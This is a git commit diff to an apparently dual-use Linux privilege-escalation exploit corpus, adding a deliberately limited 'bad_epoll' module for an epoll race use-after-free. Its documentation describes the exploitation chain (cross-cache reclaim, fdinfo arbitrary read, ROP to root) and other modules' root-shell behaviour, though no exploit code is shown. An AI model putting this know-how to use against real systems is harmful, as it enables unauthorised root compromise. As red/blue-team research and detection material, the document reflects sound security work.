Compare commits

..

1 Commits

Author SHA1 Message Date
KaraZajac 95589e26cb modules: add bad_epoll (CVE-2026-46242, "Bad Epoll" epoll teardown race UAF)
release / build (arm64) (push) Has been cancelled
release / build (x86_64) (push) Has been cancelled
release / build (x86_64-static / musl) (push) Has been cancelled
release / build (arm64-static / musl) (push) Has been cancelled
release / release (push) Has been cancelled
Jaeyoung Chung's kernelCTF "Bad Epoll": a race-condition use-after-free in
fs/eventpoll.c. ep_remove() clears file->f_ep under f_lock but keeps using
the file (hlist_del_rcu + unlock) while a concurrent __fput() frees the
still-referenced struct eventpoll. Reachable by any unprivileged user with
no userns / CONFIG / capability; weaponised via cross-cache to a struct
file, /proc/self/fdinfo arb-read, and ROP. Introduced 58c9b016e128 (6.4),
fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13. CWE-416; not in KEV.

The corpus's first epoll / VFS-teardown module. Shipped as a reconstructed,
deliberately under-driven trigger on the stackrot / nft_catchall contract:
detect() is a pure version gate (>= 6.4 and below the on-branch fix; no
userns precondition -- epoll needs none); exploit() forks a CPU-pinned
child that exercises the ep_remove-vs-__fput close window a hard-bounded 48
attempts / 2s and returns EXPLOIT_FAIL. It does not grind the race to a
win, does not do the cross-cache reclaim, and does not bundle the fdinfo
R/W + ROP (a won race frees a live struct file and rarely trips KASAN ->
silent-corruption risk).

Wired: registry, Makefile, safety rank (12 -- lowest in the corpus; a
kernel race is the least predictable class), 5 detect() test rows (version
gating), CVE metadata (sorted insert, CWE-416 / T1068 / not-KEV), README +
CVES.md + website counts (44/39), RELEASE_NOTES v0.9.12, and a verify-vm
target (sweep pending). Detection rules are intentionally weak/structural
(epoll ubiquitous, rarely KASAN) -- post-exploitation euid-0 transition,
no yara. Also corrects pre-existing README drift in the "not yet verified"
count (8 -> 11). Not VM-verified, so the verified count stays 28 of 39.
Version 0.9.12. Credit: Jaeyoung Chung (J-jaeyoung).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KUq4DGXSPBmPkAyJ9WnM9n
2026-07-04 19:35:33 -04:00
17 changed files with 787 additions and 22 deletions
+6 -3
View File
@@ -23,16 +23,18 @@ Status legend:
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
historical reference only
**Counts:** 43 modules total covering 38 CVEs; **28 of 38 CVEs
**Counts:** 44 modules total covering 39 CVEs; **28 of 39 CVEs
verified end-to-end in real VMs** via `tools/verify-vm/`. 🔵 0 · ⚪ 0
planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a
*candidate* with no module, not counted as a module.)
> **Note on unverified rows:** `vmwgfx` / `dirty_cow` /
> `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` /
> `ptrace_pidfd` / `sudo_host` / `cifswitch` / `nft_catchall` are blocked by their target environment (VMware-only,
> `ptrace_pidfd` / `sudo_host` / `cifswitch` / `nft_catchall` / `bad_epoll` are blocked by their target environment (VMware-only,
> kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition
> libs) or are brand-new this cycle, not by missing code. See
> libs) or are brand-new this cycle, not by missing code (`bad_epoll` is
> a reconstructed epoll race trigger — deliberately under-driven and not
> VM-verified). See
> [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
>
> All three now have **pinned fix commits and version-based
@@ -97,6 +99,7 @@ root on a host can upstream their kernel's offsets via PR.
| CVE-2025-32462 | sudo `-h`/`--host` policy bypass (Stratascale) | LPE (userspace; abuse a host-restricted sudoers rule for local root) | sudo 1.9.17p1 (2025-06-30) | `sudo_host` | 🟢 | **Stratascale CRU disclosure (Rich Mirch); sibling of `sudo_chwoot`.** sudo's `-h`/`--host` option — meant only to pair with `-l` — was honored when running a command, so a sudoers rule scoped to a host other than the current machine (and not ALL) is usable via `sudo -h <host> <cmd>`. Affects sudo 1.8.8 → 1.9.17p0; fixed 1.9.17p1. CWE-863, CVSS 8.8; not in KEV. detect() version-gates; exploit() finds an abusable host-restricted rule in readable sudoers (or `SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h <host> id -u`, and pops a root shell only on a uid-0 witness — never fabricates root. Structural (no offsets/race); arch-agnostic. Most relevant to fleet-wide / LDAP / SSSD sudoers. Credit: Rich Mirch / Stratascale. |
| CVE-2026-46243 | CIFSwitch — `cifs.spnego` key type trusts userspace-forged authority fields | LPE (coerce root `cifs.upcall` into loading an attacker NSS module) | fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of `3da1fdf4efbc`, mainline 7.1-rc5) | `cifswitch` | 🟡 | **Asim Manizada disclosure (2026-05-28), public PoC; detect() + add_key primitive VM-verified on Ubuntu 24.04 / 6.8.0-117 (QEMU/HVF, 2026-06-08), full chain + patched-kernel discriminator pending.** ~19-year-old logic flaw in `fs/smb/client/cifs_spnego.c`: the `cifs.spnego` key description carries authority-bearing fields (`pid`/`uid`/`creduid`/`upcall_target`) that root `cifs.upcall` trusts as kernel-originating, but userspace can create such keys via `add_key(2)`/`request_key(2)`. With user+mount namespace tricks, an unprivileged user makes `cifs.upcall` load a malicious NSS `.so` as root. CWE-20; not in KEV. Preconditions: `cifs` module + `cifs-utils` (`cifs.upcall`) + `cifs.spnego` request-key rule (override the probe via `SKELETONKEY_CIFS_ASSUME_PRESENT=1/0`). detect() version-gates and PRECOND_FAILs when the cifs userspace path is absent. exploit() fires only the non-destructive primitive — `add_key(2)` of a forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked immediately — and returns honest `EXPLOIT_FAIL` without a euid-0 witness; the namespace+NSS root-pop is not bundled until VM-verified. Structural; arch-agnostic. `--mitigate` blocklists the `cifs` module; `--cleanup` reverts. Credit: Asim Manizada. |
| CVE-2026-23111 | nf_tables `nft_map_catchall_activate` abort-path UAF (inverted `!`) | LPE (unprivileged userns + nftables → chain UAF → kernel R/W → root) | fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of `f41c5d1`); 5.10 branch still unfixed | `nft_catchall` | 🟡 | **Public reproduction + analysis by FuzzingLabs; reported via the kernel security process. Reconstructed trigger, not yet VM-verified.** A stray `!` in `nft_map_catchall_activate()` makes the transaction-abort path process *active* catch-all map elements instead of skipping them; a catch-all GOTO element drives a chain's use-count to zero so a following DELCHAIN frees it while still referenced → UAF, escalatable via modprobe_path/selinux_state ROP. CWE-416, CVSS 7.8; not in KEV. One more UAF in the corpus's most-covered subsystem; shipped on the same contract as `nf_tables` (CVE-2024-1086). detect() version-gates (catch-all elems arrived ~5.13) AND requires unprivileged user_ns clone (else PRECOND_FAIL). exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL` — the per-kernel leak + R/W + ROP root-pop is NOT bundled and the trigger is reconstructed from public analysis, not VM-verified. x86_64. Mitigate: upgrade, or `kernel.unprivileged_userns_clone=0`. Credit: FuzzingLabs (public repro) + upstream fix `f41c5d1`. |
| CVE-2026-46242 | Bad Epoll — epoll `ep_remove`/`__fput` teardown race UAF | LPE (unprivileged, **no userns** → cross-cache to `struct file` → kernel R/W → root) | introduced 6.4 (`58c9b016e128`); fixed `a6dc643c6931` (7.1-rc1), stable backport 7.0.13; 6.6/6.12 LTS backports pending; 6.1 and older not affected | `bad_epoll` | 🟡 | **Jaeyoung Chung (`J-jaeyoung`) kernelCTF public PoC; reconstructed trigger, not VM-verified.** Race UAF in `fs/eventpoll.c`: `ep_remove()` clears `file->f_ep` under `f_lock` but keeps using the file (`hlist_del_rcu` + unlock) while a concurrent `__fput()` frees the still-referenced `struct eventpoll` → 8-byte UAF write, weaponised via cross-cache to a `struct file`, `/proc/self/fdinfo` arbitrary read, ROP. Reachable by **any unprivileged user** — no userns, no CONFIG, no capability; there is **no unprivileged-userns stopgap**, only patching. CWE-416 (race root cause CWE-362); not in KEV. The corpus's first epoll / VFS-teardown module and cleanest SMP race. detect() is a **pure version gate** (no active probe — you cannot safely distinguish vulnerable from patched without winning the race). exploit() forks a CPU-pinned child that builds the epoll race pair and exercises the concurrent-close window a hard-bounded 48 attempts / 2s — **deliberately under-driven** because a won race frees a live struct file and rarely trips KASAN (silent-corruption risk) — snapshots the eventpoll slab, and returns `EXPLOIT_FAIL`; the cross-cache reclaim + fdinfo R/W + ROP are NOT bundled. Detection is intentionally weak/structural (epoll syscalls are ubiquitous) — rules key on the post-exploitation euid-0 transition; no yara. **Lowest `--auto` safety rank (12).** x86_64. Mitigate: upgrade only. Credit: Jaeyoung Chung. |
## Operations supported per module
+6 -1
View File
@@ -242,6 +242,11 @@ NCA_DIR := modules/nft_catchall_cve_2026_23111
NCA_SRCS := $(NCA_DIR)/skeletonkey_modules.c
NCA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NCA_SRCS))
# CVE-2026-46242 bad_epoll — epoll ep_remove-vs-__fput teardown race UAF ("Bad Epoll", J-jaeyoung kernelCTF)
BEP_DIR := modules/bad_epoll_cve_2026_46242
BEP_SRCS := $(BEP_DIR)/skeletonkey_modules.c
BEP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(BEP_SRCS))
# Top-level dispatcher
TOP_OBJ := $(BUILD)/skeletonkey.o
@@ -255,7 +260,7 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \
$(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \
$(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) $(NCA_OBJS)
$(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) $(NCA_OBJS) $(BEP_OBJS)
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
+27 -14
View File
@@ -2,10 +2,10 @@
[![Latest release](https://img.shields.io/github/v/release/KaraZajac/SKELETONKEY?label=release)](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
[![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)
[![Modules](https://img.shields.io/badge/CVEs-28%20VM--verified%20%2F%2036-brightgreen.svg)](docs/VERIFICATIONS.jsonl)
[![Modules](https://img.shields.io/badge/CVEs-28%20VM--verified%20%2F%2039-brightgreen.svg)](docs/VERIFICATIONS.jsonl)
[![Platform: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#)
> **One curated binary. 43 Linux LPE modules covering 38 CVEs from 2016 → 2026.
> **One curated binary. 44 Linux LPE modules covering 39 CVEs from 2016 → 2026.
> Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux
> VMs via `tools/verify-vm/`. Detection rules in the box. One command picks
> the safest one and runs it.**
@@ -45,9 +45,9 @@ for every CVE in the bundle — same project for red and blue teams.
## Corpus at a glance
**43 modules covering 38 distinct CVEs** across the 2016 → 2026 LPE
timeline. **28 of the 38 CVEs have been empirically verified** in real
Linux VMs via `tools/verify-vm/`; the 8 still-pending entries are
**44 modules covering 39 distinct CVEs** across the 2016 → 2026 LPE
timeline. **28 of the 39 CVEs have been empirically verified** in real
Linux VMs via `tools/verify-vm/`; the 11 still-pending entries are
blocked by their target environment (legacy hypervisor, EOL kernel, or
the t64-transition libc rollout) or are brand-new additions awaiting a
VM sweep, not by missing code.
@@ -68,7 +68,7 @@ af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
### Empirical verification (28 of 38 CVEs)
### Empirical verification (28 of 39 CVEs)
Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
each verdict against a known-target VM. Coverage:
@@ -81,7 +81,7 @@ each verdict against a known-target VM. Coverage:
| Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup |
| Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev |
**Not yet verified (8):** `vmwgfx` (VMware-guest-only — no public Vagrant
**Not yet verified (11):** `vmwgfx` (VMware-guest-only — no public Vagrant
box), `dirty_cow` (needs ≤ 4.4 kernel — older than every supported box),
`mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04
rootfs — needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel
@@ -90,7 +90,11 @@ kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian
13+; no Parallels-supported box has those yet), `ptrace_pidfd` (brand-new
2026-05 Qualys disclosure — added this cycle, VM sweep pending), `sudo_host`
(brand-new 2025-06 Stratascale disclosure — added this cycle, VM sweep
pending). All eight are flagged in
pending), `cifswitch` (detect + `add_key` primitive VM-verified; full chain
+ patched-kernel discriminator pending), `nft_catchall` (reconstructed
kernel-UAF trigger, not VM-verified), `bad_epoll` (reconstructed epoll
race trigger — deliberately under-driven, not VM-verified). All eleven are
flagged in
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with rationale.
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
@@ -137,7 +141,7 @@ uid=1000(kara) gid=1000(kara) groups=1000(kara)
$ skeletonkey --auto --i-know
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
[*] auto: scanning 43 modules for vulnerabilities...
[*] auto: scanning 44 modules for vulnerabilities...
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
[+] auto: pwnkit VULNERABLE (safety rank 100)
@@ -206,8 +210,16 @@ also compile (modules with Linux-only headers stub out gracefully).
## Status
**v0.9.11 cut 2026-06-08.** 43 modules across 38 CVEs — **every
year 2016 → 2026 now covered**. Newest: `nft_catchall` (CVE-2026-23111,
**v0.9.12 cut 2026-07-04.** 44 modules across 39 CVEs — **every
year 2016 → 2026 now covered**. Newest: `bad_epoll` (CVE-2026-46242,
Jaeyoung Chung's "Bad Epoll" — a race use-after-free in `fs/eventpoll.c`
where `ep_remove()` clears `file->f_ep` under `f_lock` but keeps using the
file while a concurrent `__fput()` frees the still-referenced
`struct eventpoll`; reachable by **any unprivileged user with no user
namespace**, weaponised via cross-cache + `/proc/self/fdinfo` arb-read;
kernelCTF public PoC — shipped as a deliberately under-driven, reconstructed
reachability trigger with the corpus's lowest `--auto` safety rank),
`nft_catchall` (CVE-2026-23111,
the nf_tables `nft_map_catchall_activate` abort-path UAF — an inverted
condition frees a chain still referenced by a catch-all GOTO map element;
public reproduction by FuzzingLabs), `cifswitch` (CVE-2026-46243,
@@ -245,13 +257,13 @@ Reliability + accuracy work in v0.7.x:
trace, OPSEC footprint, detection-rule coverage, verified-on
records. Paste-into-ticket ready.
- **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) — fetches
CISA KEV catalog + NVD CWE; 13 of 38 modules cover KEV-listed CVEs.
CISA KEV catalog + NVD CWE; 13 of 39 modules cover KEV-listed CVEs.
- **151 detection rules** across auditd / sigma / yara / falco; one
command exports the corpus to your SIEM.
- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
exploit, structured verdict table, scan summary, `--dry-run`.
Not yet verified (10 of 38 CVEs): `vmwgfx` (VMware-guest only),
Not yet verified (11 of 39 CVEs): `vmwgfx` (VMware-guest only),
`dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline
4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7),
`pintheft` + `vsock_uaf` (kernel modules not autoloaded on common
@@ -259,7 +271,8 @@ Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs need t64-transition
libs from Ubuntu 24.04+ / Debian 13+), `ptrace_pidfd` + `sudo_host`
+ `cifswitch` (cifswitch detect + primitive VM-verified; full chain
pending) + `nft_catchall` (reconstructed kernel-UAF trigger, not
VM-verified). Rationale in
VM-verified) + `bad_epoll` (reconstructed epoll race trigger,
deliberately under-driven, not VM-verified). Rationale in
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
+8
View File
@@ -292,6 +292,14 @@ const struct cve_metadata cve_metadata_table[] = {
.in_kev = false,
.kev_date_added = "",
},
{
.cve = "CVE-2026-46242",
.cwe = "CWE-416",
.attack_technique = "T1068",
.attack_subtechnique = NULL,
.in_kev = false,
.kev_date_added = "",
},
{
.cve = "CVE-2026-46243",
.cwe = "CWE-20",
+1
View File
@@ -59,6 +59,7 @@ void skeletonkey_register_ptrace_pidfd(void);
void skeletonkey_register_sudo_host(void);
void skeletonkey_register_cifswitch(void);
void skeletonkey_register_nft_catchall(void);
void skeletonkey_register_bad_epoll(void);
/* Call every skeletonkey_register_<family>() above in canonical order.
* Single source of truth so the main binary and the test binary stay
+1
View File
@@ -55,4 +55,5 @@ void skeletonkey_register_all_modules(void)
skeletonkey_register_sudo_host();
skeletonkey_register_cifswitch();
skeletonkey_register_nft_catchall();
skeletonkey_register_bad_epoll();
}
+9
View File
@@ -314,6 +314,15 @@
"in_kev": false,
"kev_date_added": ""
},
{
"cve": "CVE-2026-46242",
"module_dir": "bad_epoll_cve_2026_46242",
"cwe": "CWE-416",
"attack_technique": "T1068",
"attack_subtechnique": null,
"in_kev": false,
"kev_date_added": ""
},
{
"cve": "CVE-2026-46243",
"module_dir": "cifswitch_cve_2026_46243",
+2 -1
View File
@@ -4,7 +4,7 @@ Which SKELETONKEY modules cover CVEs that CISA has observed exploited
in the wild per the Known Exploited Vulnerabilities catalog.
Refreshed via `tools/refresh-cve-metadata.py`.
**13 of 38 modules cover KEV-listed CVEs.**
**13 of 39 modules cover KEV-listed CVEs.**
## In KEV (prioritize patching)
@@ -54,6 +54,7 @@ and are technically reachable. "Not in KEV" is not the same as
| CVE-2026-31635 | CWE-130 | `dirtydecrypt_cve_2026_31635` |
| CVE-2026-41651 | CWE-367 | `pack2theroot_cve_2026_41651` |
| CVE-2026-43494 | ? | `pintheft_cve_2026_43494` |
| CVE-2026-46242 | CWE-416 | `bad_epoll_cve_2026_46242` |
| CVE-2026-46243 | CWE-20 | `cifswitch_cve_2026_46243` |
| CVE-2026-46300 | CWE-787 | `fragnesia_cve_2026_46300` |
| CVE-2026-46333 | CWE-269 | `ptrace_pidfd_cve_2026_46333` |
+48
View File
@@ -1,3 +1,51 @@
## SKELETONKEY v0.9.12 — new LPE module: bad_epoll (CVE-2026-46242)
Adds **`bad_epoll` — CVE-2026-46242 "Bad Epoll"** (Jaeyoung Chung /
`J-jaeyoung`, submitted to Google's kernelCTF), taking the corpus to **44
modules / 39 CVEs** and opening a brand-new subsystem: **epoll /
`fs/eventpoll.c`**. A race-condition use-after-free on the file-teardown
path — `ep_remove()` clears `file->f_ep` under `file->f_lock` but keeps
using the file inside the critical section (`hlist_del_rcu()` +
`spin_unlock()`), so a concurrent `__fput()` observes the transient NULL,
skips `eventpoll_release_file()`, and frees a `struct eventpoll` still in
use. The public exploit weaponises the 8-byte UAF write via a cross-cache
attack to a `struct file`, arbitrary kernel read through
`/proc/self/fdinfo`, and a ROP chain — ~99% reliable through a
~6-instruction window, and reachable by **any unprivileged user with no
user namespace, no CONFIG, and no capability** (which also means there is
no unprivileged-userns stopgap — the only fix is to patch). Introduced by
`58c9b016e128` (Linux 6.4); fixed by `a6dc643c6931` (merged 7.1-rc1),
stable backport 7.0.13. CWE-416 (race root cause CWE-362); not in CISA
KEV. Also affects Android.
🟡 **Trigger (reconstructed) — deliberately under-driven, primitive-only,
not VM-verified.** A *won* race frees a live `struct eventpoll` — real
memory corruption that rarely trips KASAN, so a completed race can
silently destabilise a vulnerable host. `detect()` is therefore a pure
kernel-version gate (vulnerable iff ≥ 6.4 and below the fix on-branch;
stable backport 7.0.13, 7.1+ inherits; 6.1/5.10 not affected) with **no
active probe** — there is no safe way to distinguish vulnerable from
patched without winning the race. `exploit()` forks a CPU-pinned child
that builds the epoll race pair and exercises the `ep_remove`-vs-`__fput`
concurrent-close window a **hard-bounded** 48 attempts / 2 s (widened with
`close(dup())` false-sharing storms), snapshots the eventpoll slab, and
returns `EXPLOIT_FAIL`; it does not grind the race to a win, does not do
the cross-cache reclaim, and does not bundle the `fdinfo` arbitrary-read +
ROP root-pop (per-build offsets refused). It carries the corpus's
**lowest `--auto` safety rank (12)** — a kernel race that frees a live
`struct file` is the least predictable class, so `--auto` only reaches for
it after every safer vulnerable module. Detection is intentionally
weak/structural (epoll syscalls are ubiquitous and the exploit rarely
trips KASAN) — the shipped auditd/sigma/falco rules key on the
post-exploitation euid-0 transition, with no yara; treat this as much as a
blue-team "your stack is nearly blind to this" teaching case as an
offensive one. Wired: registry, Makefile, safety rank (12), 5 `detect()`
test rows (version gating), CVE metadata (CWE-416 / T1068 / not-KEV),
README + CVES.md + website counts (44/39), RELEASE_NOTES v0.9.12, and a
verify-vm target (sweep pending). Credits Jaeyoung Chung + the upstream
fix in `NOTICE.md`. Reconstructed from the public kernelCTF PoC and not
VM-verified, so the verified count stays 28 of 39.
## SKELETONKEY v0.9.11 — new LPE module: nft_catchall (CVE-2026-23111)
Adds **`nft_catchall` — CVE-2026-23111**, taking the corpus to **43
+2 -2
View File
@@ -4,9 +4,9 @@
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
<meta name="description" content="One binary. 43 Linux privilege-escalation modules from 2016 to 2026. 28 of 38 CVEs empirically verified in real Linux VMs. 13 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
<meta name="description" content="One binary. 44 Linux privilege-escalation modules from 2016 to 2026. 28 of 39 CVEs empirically verified in real Linux VMs. 13 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
<meta property="og:description" content="43 Linux LPE modules; 28 of 38 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
<meta property="og:description" content="44 Linux LPE modules; 28 of 39 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
<meta property="og:type" content="website">
<meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/">
<meta property="og:image" content="https://karazajac.github.io/SKELETONKEY/og.png">
+106
View File
@@ -0,0 +1,106 @@
# bad_epoll — CVE-2026-46242
"Bad Epoll" — a race-condition use-after-free in the Linux kernel epoll
subsystem (`fs/eventpoll.c`) reachable by **any unprivileged local user**.
No user namespace, no capability, no special `CONFIG``epoll_create1(2)`,
`epoll_ctl(2)`, and `close(2)` are available to everyone, which is what
makes this bug unusually dangerous.
## The bug
On the file-teardown path, `ep_remove()` clears `file->f_ep` under
`file->f_lock` but keeps **using** the file inside the same critical
section — the `hlist_del_rcu()` walk over the eventpoll's `refs` list and
the trailing `spin_unlock()`. A concurrent `__fput()` of a linked epoll
file can observe the transient `NULL` `f_ep`, skip
`eventpoll_release_file()`, and jump straight to `f_op->release`, freeing
a `struct eventpoll` that the first path is still walking →
**use-after-free** on a live kernel object.
The public exploit (Jaeyoung Chung, submitted to Google's kernelCTF)
arranges four epoll objects in two pairs — one pair drives the race, the
other is the victim — and converts the 8-byte UAF write into control of a
`struct file` via a **cross-cache** attack (the freed `eventpoll` slab
page is drained to the buddy allocator and reclaimed as pipe backing
buffers). From there it reads arbitrary kernel memory through
`/proc/self/fdinfo` and ROPs to a root shell. Roughly **99% reliable**
despite a race window only ~6 instructions wide; the racer widens it with
`close(dup())` storms that induce false-sharing on the file's `f_count`
cache line. It **rarely trips KASAN**, which is why the bug survived three
years and why it is hard to detect at runtime.
## Affected range
| | |
|---|---|
| Vulnerable path introduced | commit `58c9b016e128` — Linux **6.4** (2023-04-08) |
| Fixed upstream | commit `a6dc643c69311677c574a0f17a3f4d66a5f3744b` — merged for **7.1-rc1** (2026-04-24) |
| Stable backport | **7.0.13** (Debian forky `7.0.13-1` / sid `7.0.14-1`) |
| Still vulnerable at time of writing | trixie **6.12.x** (no backport yet); 6.6 LTS pending |
| Not affected | 6.1 and older (predate the bug — Debian: "vulnerable code not present") |
| NVD class | CWE-416 (Use After Free) via CWE-362 (race) |
| CISA KEV | no (brand new) |
Table threshold is a single `{7,0,13}` entry — `kernel_range_is_patched()`
treats 7.1+ as patched-via-mainline and everything in `[6.4, 7.0.13)` as
vulnerable, matching the Debian tracker. Add 6.6.x / 6.12.x rows when
those LTS backports land (`tools/refresh-kernel-ranges.py` flags them).
## Trigger / detection
`detect()` is a **pure version gate** — no active probe, because there is
no cheap, safe way to distinguish a vulnerable kernel from a patched one
without actually winning the race (the dangerous part). It returns `OK`
below 6.4 or on a patched kernel, and `VULNERABLE` in range. There is **no
`PRECOND_FAIL` userns path** the way `nft_catchall` has — epoll needs no
namespace, so there is no unprivileged-userns stopgap to report or to
harden with.
`exploit()` forks a CPU-pinned child that builds the epoll race pair (a
waiter eventpoll watching a target eventpoll) and exercises the
`ep_remove`-vs-`__fput` concurrent-close window a **hard-bounded** number
of times (48 attempts / 2 s), widening it with `close(dup())`
false-sharing storms, snapshots the `eventpoll`/`kmalloc-192` slab, and
returns `EXPLOIT_FAIL`.
It is **deliberately under-driven**. A *won* race frees a live
`struct eventpoll` — genuine kernel memory corruption that rarely trips
KASAN, so on a vulnerable production host a completed race can silently
destabilise the box rather than cleanly oops. This module therefore does
**not** grind the race to a win, does **not** perform the cross-cache
reclaim, and does **not** bundle the per-kernel `fdinfo` arbitrary-read +
ROP that lands root (per-build offsets refused). The trigger is
**reconstructed from the public kernelCTF PoC and is not VM-verified**. It
never claims root it did not get.
Because a kernel race is the least predictable class in the corpus — and
this one can corrupt memory invisibly — `bad_epoll` carries the **lowest
`--auto` safety rank** (see `module_safety_rank()` in `skeletonkey.c`), so
`--auto` only ever reaches for it after every safer vulnerable module.
## Detection is hard — read this before shipping the rules
Unlike most modules, `bad_epoll` has **no high-fidelity signature**.
`epoll_create1` / `epoll_ctl` / `close` is the steady-state behaviour of
nginx, systemd, and every language runtime's event loop; the exploit
looks identical and rarely trips KASAN. The shipped auditd/sigma/falco
rules therefore key on the **post-exploitation** tell — an unprivileged
process transitioning to euid 0 without a setuid `execve` — plus a
recommendation to monitor kernel logs for oops/BUG lines. Expect false
positives from legitimate privilege-management daemons and tune per
environment. There is no yara rule (no file artifact). Treat this module
as much as a *blue-team teaching case* — "here is a root LPE your existing
stack is nearly blind to" — as an offensive one.
## Fix / mitigation
Upgrade the kernel (>= 7.0.13, or 7.1+). There is **no partial
mitigation**: epoll cannot be disabled in practice, and no
`unprivileged_userns_clone` / sysctl toggle closes this path the way it
does for the netfilter bugs. `mitigate()` is `NULL` for that reason.
## Credit
Discovery, exploitation, and the public kernelCTF PoC:
**Jaeyoung Chung** (`J-jaeyoung`). Upstream fix `a6dc643c6931`. See
`NOTICE.md`.
@@ -0,0 +1,70 @@
# NOTICE — bad_epoll (CVE-2026-46242)
## Vulnerability
**CVE-2026-46242** — "Bad Epoll", a **race-condition use-after-free** in
the Linux kernel epoll subsystem (`fs/eventpoll.c`). On the file-teardown
path, `ep_remove()` clears `file->f_ep` under `file->f_lock` but continues
to use the file inside the critical section (`hlist_del_rcu()` over the
eventpoll `refs` list + `spin_unlock()`). A concurrent `__fput()` of a
linked epoll file observes the transient `NULL` `f_ep`, skips
`eventpoll_release_file()`, and proceeds to `f_op->release`, freeing a
`struct eventpoll` still in use → UAF.
The bug is reachable by **any unprivileged local user**`epoll_create1`,
`epoll_ctl`, and `close` require no capability, no user namespace, and no
special kernel config. Exploitation converts the 8-byte UAF write into
control of a `struct file` via a cross-cache attack, gains arbitrary
kernel read through `/proc/self/fdinfo`, and ROPs to a root shell —
roughly 99% reliable despite a ~6-instruction race window. It also affects
Android. NVD class: **CWE-416** (Use After Free), with a **CWE-362** race
root cause. **Not** in CISA KEV (brand new).
## Research credit
- **Discovery, exploitation, and public PoC** by **Jaeyoung Chung**
(GitHub `J-jaeyoung`), submitted as a zero-day to **Google's kernelCTF**
program. Repository: <https://github.com/J-jaeyoung/bad-epoll> and the
kernelCTF submission under
`J-jaeyoung/security-research` (`CVE-2026-46242_lts_cos`, target
`lts-6.12.67`). SKELETONKEY's trigger reconstruction is informed by that
public PoC (the epoll object graph and the `ep_remove`-vs-`__fput`
close-race shape only — no offsets or ROP are reused).
- **Introduced** by commit `58c9b016e128` (Linux 6.4, 2023-04-08).
- **Fixed upstream** by commit
`a6dc643c69311677c574a0f17a3f4d66a5f3744b`, merged for **7.1-rc1**
(2026-04-24); stable backport **7.0.13**.
- Debian security tracker (authoritative backport versions):
<https://security-tracker.debian.org/tracker/CVE-2026-46242> — forky
`7.0.13-1` / sid `7.0.14-1` fixed; trixie 6.12.x still vulnerable at time
of writing; bookworm 6.1 and bullseye 5.10 "not affected — vulnerable
code not present".
All credit for finding, analysing, and exploiting this bug belongs to
Jaeyoung Chung and to the upstream maintainers who fixed it. SKELETONKEY
is the bundling and bookkeeping layer only.
## SKELETONKEY role
🟡 **Trigger (reconstructed) — primitive-only, not VM-verified.** This is
the corpus's first epoll / VFS-file-teardown module and its cleanest
example of an SMP kernel race, shipped on the same "fire the bug class and
stop" contract as `stackrot` (CVE-2023-3269) and `nft_catchall`
(CVE-2026-23111).
`detect()` is a pure kernel-version gate (vulnerable iff `>= 6.4` and below
